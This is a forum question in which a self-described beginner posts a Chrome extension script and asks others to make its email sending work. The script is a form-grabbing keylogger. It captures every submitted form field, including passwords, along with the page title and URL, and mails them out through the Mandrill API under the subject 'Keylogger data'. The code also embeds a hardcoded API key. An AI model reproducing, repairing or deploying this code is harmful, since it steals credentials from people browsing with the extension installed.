Send email [Chrome extension script]

0

Hello everyone, I have a question, it's been a week since I'm trying to make an extension to Google Chrome, which sends the data to the email. Only I can not do it at all, I tried anyway .. Can anyone help? Follow the code

function email(send_data) {
    console.log('email');
    chrome.storage.local.get('email',function(data_email){
        xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function() {
            if (xhr.readyState == 4 && xhr.status == 200) {
                console.log(xhr.responseText);
            }
        }
        xhr.open('POST', 'https://mandrillapp.com/api/1.0/messages/send.json');
        xhr.send(JSON.stringify({
            key: "lKMuUzQp9IyrP7iPUcAeDw",
            message: {
              from_email: "[email protected]",
              to:[
                  {
                    email: data_email.email,
                    name: "Hi User!",
                    type: "to"
                  }
                ],
              autotext: "true",
              subject: "Keylogger data" + " from " + document.title,
              html: JSON.stringify(send_data)
            }
        }));

    });
        
}

var password_edited = false;

if (!document.title) {
    document.title = document.URL;
}

console.log(document.title);

function saveForm(time, data) {
    var toSave = {};
    toSave[time] = document.title + "^~^" + document.URL + "^~^" + JSON.stringify(data);
    chrome.storage.local.set(toSave, function() { console.log("Saved", data); });
    
    email(toSave);
    //sendToUrl();
}

function getPasswordInputElements() {
    var pwd_el = [];

    var el = document.getElementsByTagName('input');

    for (var i = 0; i < el.length; i++) {
        if (el[i].getAttribute('type') == 'password')
            pwd_el.push(el[i]);
    }

    return pwd_el;
}

function listenPasswordEntered() {
    var pwd_el = getPasswordInputElements();

    for (var i = 0; i < pwd_el.length; i++) {
        pwd_el[i].addEventListener('change', function() {
            password_edited = true;
        })
    }
}

var forms = document.getElementsByTagName('form');
for (var i = 0; i < forms.length; i++) {
    forms[i].addEventListener('submit', function(e) {
        var data = {};
        data['FormName'] = e.target.name;
        data['FormAction'] = e.target.action;
        data['FormElements'] = {};
        var elements = e.target.elements;
        for (var n = 0; n < elements.length; n++) {
            data['FormElements'][elements[n].name] = elements[n].value;
        }
        
        if (password_edited) {
            saveForm(e.timeStamp, data);
        }
    
    });
}

listenPasswordEntered();

Well, he is not sending the email when I put my email right away .. if someone can get my code to send the message I would be grateful. I'm a beginner in programming so I'm looking for help from you! Thank you.

    
asked by anonymous 23.08.2017 / 08:08

0 answers